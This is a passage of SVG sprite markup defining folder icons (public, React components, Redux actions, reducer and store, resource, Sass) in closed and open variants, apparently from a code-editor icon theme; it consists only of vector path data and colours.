2.291 1.583 1.688.166 1.82.416 1.82.75 0 .576-.465.82-1.549.82-1.375 0-1.666-.341-1.77-1.022a.157.157 0 0 0-.153-.125h-.667c-.083 0-.146.063-.146.153 0 .861.472 1.903 2.736 1.903 1.632 0 2.57-.646 2.57-1.771 0-1.118-.75-1.41-2.34-1.625-1.605-.208-1.765-.32-1.765-.694 0-.313.14-.73 1.327-.73 1.042 0 1.451.23 1.611.945.014.07.076.118.146.118h.673a.134.134 0 0 0 .105-.049c.027-.028.048-.07.034-.11-.097-1.237-.916-1.806-2.57-1.806z" fill-rule="nonzero" fill="#f1f8e9"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-public" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><path d="M20.036 16.746c.05-.408.087-.817.087-1.237s-.037-.83-.087-1.238h2.091c.099.396.16.81.16 1.238a5.1 5.1 0 0 1-.16 1.237m-3.186 3.44c.371-.687.656-1.43.854-2.203h1.825a4.968 4.968 0 0 1-2.679 2.203m-.155-3.44h-2.895c-.062-.408-.099-.817-.099-1.237s.037-.835.1-1.238h2.894c.056.403.1.817.1 1.238s-.044.829-.1 1.237m-1.447 3.687a8.39 8.39 0 0 1-1.182-2.45h2.363a8.39 8.39 0 0 1-1.181 2.45m-2.475-7.399h-1.806a4.902 4.902 0 0 1 2.672-2.202c-.37.686-.65 1.429-.866 2.202m-1.806 4.95h1.806c.217.773.495 1.515.866 2.202a4.954 4.954 0 0 1-2.672-2.203m-.508-1.237a5.099 5.099 0 0 1-.16-1.237 5.1 5.1 0 0 1 .16-1.238h2.091c-.049.409-.086.817-.086 1.238s.037.829.086 1.237m2.698-6.168a8.425 8.425 0 0 1 1.181 2.456h-2.363a8.426 8.426 0 0 1 1.182-2.456m4.28 2.456h-1.824a9.682 9.682 0 0 0-.854-2.202 4.94 4.94 0 0 1 2.679 2.202m-4.281-3.712a6.193 6.193 0 0 0-6.187 6.187 6.186 6.186 0 0 0 6.187 6.186 6.186 6.186 0 0 0 6.186-6.186 6.186 6.186 0 0 0-6.186-6.187z" fill="#b3e5fc" stroke-width=".619"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-public-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><path d="M20.037 16.746c.05-.408.087-.817.087-1.237s-.037-.83-.087-1.238h2.091c.099.396.16.81.16 1.238a5.1 5.1 0 0 1-.16 1.237m-3.186 3.44c.371-.687.656-1.43.854-2.203h1.825a4.967 4.967 0 0 1-2.68 2.203m-.154-3.44h-2.895c-.062-.408-.099-.817-.099-1.237s.037-.835.099-1.238h2.895c.056.403.1.817.1 1.238s-.044.829-.1 1.237m-1.447 3.687a8.39 8.39 0 0 1-1.182-2.45h2.363a8.39 8.39 0 0 1-1.181 2.45m-2.475-7.399H13.06a4.902 4.902 0 0 1 2.672-2.202c-.371.686-.65 1.429-.866 2.202m-1.806 4.95h1.806c.217.773.495 1.515.866 2.202a4.954 4.954 0 0 1-2.672-2.203m-.508-1.237a5.099 5.099 0 0 1-.16-1.237 5.1 5.1 0 0 1 .16-1.238h2.091c-.05.409-.086.817-.086 1.238s.037.829.086 1.237m2.698-6.168a8.425 8.425 0 0 1 1.181 2.456h-2.363a8.426 8.426 0 0 1 1.182-2.456m4.28 2.456h-1.824a9.682 9.682 0 0 0-.854-2.202 4.941 4.941 0 0 1 2.679 2.202M17.34 9.322a6.193 6.193 0 0 0-6.187 6.187 6.186 6.186 0 0 0 6.187 6.186 6.186 6.186 0 0 0 6.186-6.186 6.186 6.186 0 0 0-6.186-6.187z" fill="#b3e5fc" stroke-width=".619"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-react-components" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00bcd4" fill-rule="nonzero"/><path d="M16.473 13.927c.723 0 1.313.59 1.313 1.327 0 .703-.59 1.3-1.313 1.3a1.318 1.318 0 0 1-1.313-1.3c0-.737.59-1.327 1.313-1.327m-3.252 6.946c.443.267 1.412-.14 2.529-1.194a17.015 17.015 0 0 1-1.06-1.335 15.945 15.945 0 0 1-1.686-.252c-.358 1.502-.225 2.535.217 2.78m.499-4.03l-.204-.359a5.558 5.558 0 0 0-.203.604c.19.042.4.078.618.113l-.211-.359m4.593-.533l.569-1.054-.569-1.053c-.21-.372-.435-.702-.639-1.032-.38-.022-.78-.022-1.2-.022-.422 0-.823 0-1.202.022-.204.33-.428.66-.639 1.032l-.569 1.053.57 1.054c.21.372.434.702.638 1.032.38.021.78.021 1.201.021.421 0 .822 0 1.201-.02.204-.331.428-.661.639-1.033m-1.84-4.72c-.133.155-.274.316-.414.506h.828c-.14-.19-.28-.351-.414-.506m0 7.332c.133-.154.274-.316.414-.505h-.828c.14.19.28.35.414.505m3.245-9.284c-.436-.267-1.405.14-2.522 1.194.366.414.724.864 1.06 1.334.577.057 1.146.14 1.686.253.359-1.503.225-2.535-.224-2.78m-.492 4.03l.204.358c.077-.203.154-.407.203-.604-.19-.042-.4-.077-.618-.112l.211.358m1.018-4.95c1.033.589 1.145 2.141.71 3.953 1.784.527 3.069 1.398 3.069 2.584 0 1.187-1.285 2.058-3.07 2.585.436 1.812.324 3.364-.709 3.954-1.025.59-2.423-.085-3.77-1.37-1.35 1.285-2.747 1.96-3.78 1.37-1.025-.59-1.137-2.142-.702-3.954-1.783-.527-3.069-1.398-3.069-2.585s1.286-2.057 3.07-2.584c-.436-1.812-.324-3.364.702-3.954 1.032-.59 2.43.084 3.778 1.37 1.348-1.286 2.746-1.96 3.771-1.37m-.203 6.538c.239.527.45 1.054.625 1.588 1.475-.443 2.303-1.075 2.303-1.588 0-.512-.828-1.144-2.303-1.587a15.81 15.81 0 0 1-.625 1.587m-7.136 0a15.806 15.806 0 0 1-.625-1.587c-1.474.443-2.303 1.075-2.303 1.587 0 .513.829 1.145 2.303 1.588.176-.534.387-1.06.625-1.588m6.321 1.588l-.21.358c.217-.035.428-.07.617-.113-.049-.196-.126-.4-.203-.604l-.204.359m-2.03 2.837c1.117 1.053 2.086 1.46 2.522 1.194.45-.246.583-1.278.224-2.781-.54.112-1.11.196-1.685.253-.337.47-.695.92-1.06 1.334m-3.477-6.012l.21-.358c-.217.035-.428.07-.617.113.049.196.126.4.203.604l.204-.359m2.03-2.837c-1.117-1.053-2.086-1.46-2.529-1.194-.442.246-.576 1.278-.217 2.781.54-.112 1.11-.196 1.685-.253.337-.47.695-.92 1.06-1.334z" fill="#b2ebf2" stroke-width=".702"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-react-components-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00bcd4"/><path d="M16.473 13.928c.723 0 1.313.59 1.313 1.327 0 .703-.59 1.3-1.313 1.3a1.318 1.318 0 0 1-1.313-1.3c0-.737.59-1.327 1.313-1.327m-3.252 6.946c.443.267 1.412-.14 2.529-1.194a16.997 16.997 0 0 1-1.06-1.335 15.945 15.945 0 0 1-1.686-.252c-.358 1.502-.225 2.535.217 2.78m.499-4.03l-.204-.359c-.077.204-.154.408-.203.604.19.042.4.078.618.113l-.211-.359m4.593-.533l.569-1.054-.57-1.053c-.21-.372-.434-.702-.638-1.032-.38-.022-.78-.022-1.201-.022-.421 0-.822 0-1.2.022-.205.33-.43.66-.64 1.032l-.569 1.053.569 1.054c.21.372.435.702.64 1.032.378.021.779.021 1.2.021.421 0 .822 0 1.2-.02.205-.33.43-.661.64-1.033m-1.84-4.72c-.133.155-.274.316-.414.506h.828c-.14-.19-.28-.351-.414-.506m0 7.332c.133-.154.274-.316.414-.505h-.828c.14.19.28.35.414.505m3.244-9.284c-.435-.267-1.404.14-2.52 1.194.364.414.723.864 1.06 1.334.575.057 1.144.14 1.685.253.358-1.503.225-2.535-.225-2.78m-.491 4.03l.203.358c.078-.203.155-.407.204-.604-.19-.042-.4-.077-.618-.112l.21.358m1.02-4.95c1.032.589 1.144 2.141.708 3.953 1.784.527 3.07 1.398 3.07 2.584 0 1.187-1.286 2.058-3.07 2.585.436 1.812.323 3.364-.709 3.954-1.025.59-2.423-.085-3.771-1.37-1.348 1.285-2.746 1.96-3.778 1.37-1.026-.59-1.138-2.142-.703-3.954-1.783-.527-3.069-1.398-3.069-2.585s1.286-2.057 3.07-2.584c-.436-1.812-.324-3.364.702-3.954 1.032-.59 2.43.084 3.778 1.37 1.348-1.286 2.746-1.96 3.771-1.37m-.204 6.538c.24.527.45 1.054.625 1.588 1.475-.443 2.304-1.075 2.304-1.588 0-.512-.829-1.144-2.304-1.587a15.81 15.81 0 0 1-.625 1.587m-7.135 0a15.808 15.808 0 0 1-.625-1.587c-1.475.443-2.303 1.075-2.303 1.587 0 .513.828 1.145 2.303 1.588.176-.534.386-1.06.625-1.588m6.32 1.588l-.21.358c.218-.035.428-.07.618-.113a5.56 5.56 0 0 0-.204-.604l-.203.359m-2.03 2.837c1.117 1.053 2.086 1.46 2.521 1.194.45-.246.583-1.278.225-2.781-.54.112-1.11.196-1.685.253-.338.47-.696.92-1.06 1.334m-3.477-6.012l.21-.358c-.217.035-.428.07-.617.112.049.197.126.4.203.604l.204-.358m2.03-2.837c-1.117-1.053-2.086-1.46-2.529-1.194-.442.246-.576 1.278-.217 2.781.54-.112 1.11-.196 1.685-.253.337-.47.695-.92 1.06-1.334z" fill="#b2ebf2" stroke-width=".702"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-actions" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ab47bc" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#e1bee7" stroke="#e1bee7" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-actions-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ab47bc"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#e1bee7" stroke="#e1bee7" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef5350" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#ffcdd2" stroke="#ffcdd2" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-reducer-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef5350"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#ffcdd2" stroke="#ffcdd2" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-store" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#8bc34a" fill-rule="nonzero"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#dcedc8" stroke="#dcedc8" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-redux-store-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#8bc34a"/><g transform="translate(8.378 6.436) scale(.17228)" fill="#dcedc8" stroke="#dcedc8" stroke-miterlimit="4" stroke-width="1.702"><path d="M65.6 65.4c2.9-.3 5.1-2.8 5-5.8S68 54.2 65 54.2h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 1.5.7 2.8 1.6 3.7-3.4 6.7-8.6 11.6-16.4 15.7-5.3 2.8-10.8 3.8-16.3 3.1-4.5-.6-8-2.6-10.2-5.9-3.2-4.9-3.5-10.2-.8-15.5 1.9-3.8 4.9-6.6 6.8-8-.4-1.3-1-3.5-1.3-5.1-14.5 10.5-13 24.7-8.6 31.4 3.3 5 10 8.1 17.4 8.1 2 0 4-.2 6-.7 12.8-2.5 22.5-10.1 28-21.4z"/><path d="M83.2 53c-7.6-8.9-18.8-13.8-31.6-13.8H50c-.9-1.8-2.8-3-4.9-3h-.2c-3.1.1-5.5 2.7-5.4 5.8.1 3 2.6 5.4 5.6 5.4h.2c2.2-.1 4.1-1.5 4.9-3.4H52c7.6 0 14.8 2.2 21.3 6.5 5 3.3 8.6 7.6 10.6 12.8 1.7 4.2 1.6 8.3-.2 11.8-2.8 5.3-7.5 8.2-13.7 8.2-4 0-7.8-1.2-9.8-2.1-1.1 1-3.1 2.6-4.5 3.6 4.3 2 8.7 3.1 12.9 3.1 9.6 0 16.7-5.3 19.4-10.6 2.9-5.8 2.7-15.8-4.8-24.3z"/><path d="M32.4 67.1c.1 3 2.6 5.4 5.6 5.4h.2c3.1-.1 5.5-2.7 5.4-5.8-.1-3-2.6-5.4-5.6-5.4h-.2c-.2 0-.5 0-.7.1-4.1-6.8-5.8-14.2-5.2-22.2.4-6 2.4-11.2 5.9-15.5 2.9-3.7 8.5-5.5 12.3-5.6 10.6-.2 15.1 13 15.4 18.3 1.3.3 3.5 1 5 1.5-1.2-16.2-11.2-24.6-20.8-24.6-9 0-17.3 6.5-20.6 16.1-4.6 12.8-1.6 25.1 4 34.8-.5.7-.8 1.8-.7 2.9z"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-resource" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#fbc02d" fill-rule="nonzero"/><path d="M21.598 12.059h-6.085v-1.217h6.085m-2.434 6.085h-3.65V15.71h3.65m2.434-1.217h-6.085v-1.217h6.085m.608-4.26h-7.301a1.217 1.217 0 0 0-1.217 1.218v7.301a1.217 1.217 0 0 0 1.217 1.217h7.301a1.217 1.217 0 0 0 1.217-1.217v-7.301a1.217 1.217 0 0 0-1.217-1.217m-9.735 2.434h-1.217v8.518a1.217 1.217 0 0 0 1.217 1.217h8.519v-1.217H12.47z" fill="#fff9c4" stroke-width=".608"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-resource-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#fbc02d"/><path d="M21.598 12.059h-6.085v-1.217h6.085m-2.434 6.085h-3.65V15.71h3.65m2.434-1.217h-6.085v-1.217h6.085m.608-4.26h-7.301a1.217 1.217 0 0 0-1.217 1.218v7.301a1.217 1.217 0 0 0 1.217 1.217h7.301a1.217 1.217 0 0 0 1.217-1.217v-7.301a1.217 1.217 0 0 0-1.217-1.217m-9.735 2.433h-1.217v8.519a1.217 1.217 0 0 0 1.217 1.217h8.519v-1.217H12.47z" fill="#fff9c4" stroke-width=".608"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" id="folder-sass" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#f8bbd0" fill-rule="nonzero"/><path d="M23.36 10.506c-.39-1.527-2.922-2.03-5.319-1.178-1.426.507-2.97 1.302-4.08 2.34-1.32 1.235-1.53 2.31-1.444 2.759.306 1.584 2.477 2.62 3.37 3.388v.005c-.264.13-2.19 1.104-2.64 2.1-.476 1.052.075 1.806.44 1.908 1.131.315 2.292-.251 2.916-1.182.602-.897.551-2.056.29-2.633.36-.095.781-.138 1.316-.076 1.508.177 1.804 1.118 1.748 1.513-.057.394-.373.61-.48.676-.105.065-.137.088-.129.137.013.07.062.068.152.053.125-.021.792-.321.821-1.048.037-.924-.849-1.958-2.416-1.93-.646.01-1.052.072-1.345.181-.022-.024-.044-.05-.067-.073-.969-1.034-2.76-1.765-2.684-3.156.027-.505.203-1.835 3.442-3.45 2.653-1.322 4.777-.957 5.145-.151.524 1.152-1.136 3.293-3.891 3.601-1.05.118-1.603-.289-1.74-.44-.145-.16-.166-.167-.22-.137-.088.049-.033.19 0 .274.082.214.42.594.995.782.506.166 1.739.258 3.23-.319 1.669-.646 2.972-2.443 2.59-3.944zm-7.103 7.783a2.2 2.2 0 0 1-.065 1.413 2.405 2.405 0 0 1-.453.704c-.5.546-1.198.752-1.497.579-.323-.188-.161-.956.418-1.568.623-.66 1.52-1.083 1.52-1.083l-.002-.002.079-.043z" fill="#ec407a" fill-rule="nonzero" stroke="#ec407a" stroke-width=".5199012000000001"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" id="folder-sass-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#f8bbd0" fill-rule="nonzero"/><path d="M23.36 10.506c-.39-1.527-2.922-2.03-5.319-1.178-1.426.507-2.97 1.302-4.08 2.34-1.32 1.235-1.53 2.31-1.444 2.759.306 1.584 2.477 2.62 3.37 3.388v.005c-.264.13-2.19 1.104-2.64 2.1-.476 1.052.075 1.806.44 1.908 1.131.315 2.292-.251 2.916-1.182.602-.897.551-2.056.29-2.633.36-.095.781-.138 1.316-.076 1.508.177 1.804 1.118 1.748 1.513-.057.394-.373.61-.48.676-.105.065-.137.088-.129.137.013.07.062.068.152.053.125-.021.792-.321.821-1.048.037-.924-.849-1.958-2.416-1.93-.646.01-1.052.072-1.345.181-.022-.024-.044-.05-.067-.073-.969-1.034-2.76-1.765-2.684-3.156.027-.505.203-1.835 3.442-3.45 2.653-1.322 4.777-.957 5.145-.151.524 1.152-1.136 3.293-3.891 